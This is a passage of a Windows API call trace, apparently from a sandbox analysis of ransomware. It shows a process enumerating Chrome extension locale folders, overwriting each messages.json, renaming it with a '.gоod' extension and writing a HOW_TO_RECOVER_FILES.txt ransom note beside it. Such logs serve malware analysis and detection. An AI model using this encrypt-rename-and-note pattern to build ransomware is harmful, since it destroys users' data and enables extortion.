ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0241.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0241.576] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.gоod")) returned 1 [0241.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x95 [0241.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0241.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0241.577] GetFileType (hFile=0x630) returned 0x1 [0241.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0241.577] GetFileType (hFile=0x630) returned 0x1 [0241.578] WriteFile (in: hFile=0x630, lpBuffer=0x38885d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38885d0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0241.586] CloseHandle (hObject=0x630) returned 1 [0241.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0241.586] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr", lpFilePart=0x0) returned 0x7b [0241.586] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0241.586] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.587] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8470e5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8475bf2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0241.587] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.587] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0241.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0241.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0241.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0241.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr", lpFilePart=0x0) returned 0x7b [0241.587] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0241.587] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8469926, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8470e5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8470e5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.587] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8470e5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8475bf2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0241.588] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8470e5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8475bf2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0241.588] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0241.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0241.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0241.588] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0241.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0241.588] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38985a0 | out: lpFileInformation=0x38985a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8470e5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8475bf2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb)) returned 1 [0241.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0241.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0241.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0241.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0241.589] GetFileType (hFile=0x630) returned 0x1 [0241.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0241.589] GetFileType (hFile=0x630) returned 0x1 [0241.589] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xbb [0241.589] ReadFile (in: hFile=0x630, lpBuffer=0x3898a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3898a38*, lpNumberOfBytesRead=0x209ebc98*=0xbb, lpOverlapped=0x0) returned 1 [0241.590] CloseHandle (hObject=0x630) returned 1 [0241.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0241.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0241.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.080] GetFileType (hFile=0x630) returned 0x1 [0242.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0242.080] GetFileType (hFile=0x630) returned 0x1 [0242.194] WriteFile (in: hFile=0x630, lpBuffer=0x383bf70*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x383bf70*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0242.194] CloseHandle (hObject=0x630) returned 1 [0242.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json", lpFilePart=0x0) returned 0x89 [0242.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0242.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0242.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8470e5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8475bf2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c916282, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0242.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0242.194] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.gоod")) returned 1 [0242.196] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0242.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0242.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0242.197] GetFileType (hFile=0x630) returned 0x1 [0242.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0242.197] GetFileType (hFile=0x630) returned 0x1 [0242.198] WriteFile (in: hFile=0x630, lpBuffer=0x383f8a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x383f8a8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0242.198] CloseHandle (hObject=0x630) returned 1 [0242.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0242.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA", lpFilePart=0x0) returned 0x7e [0242.199] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0242.199] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.199] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8493144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84930b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0242.199] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.199] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0242.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0242.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0242.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0242.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA", lpFilePart=0x0) returned 0x7e [0242.200] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0242.200] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe848e306, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8493144, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8493144, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.200] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8493144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84930b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0242.200] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8493144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84930b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0242.200] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0242.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0242.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0242.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", lpFilePart=0x0) returned 0x8c [0242.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0242.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x384f948 | out: lpFileInformation=0x384f948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8493144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84930b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd2)) returned 1 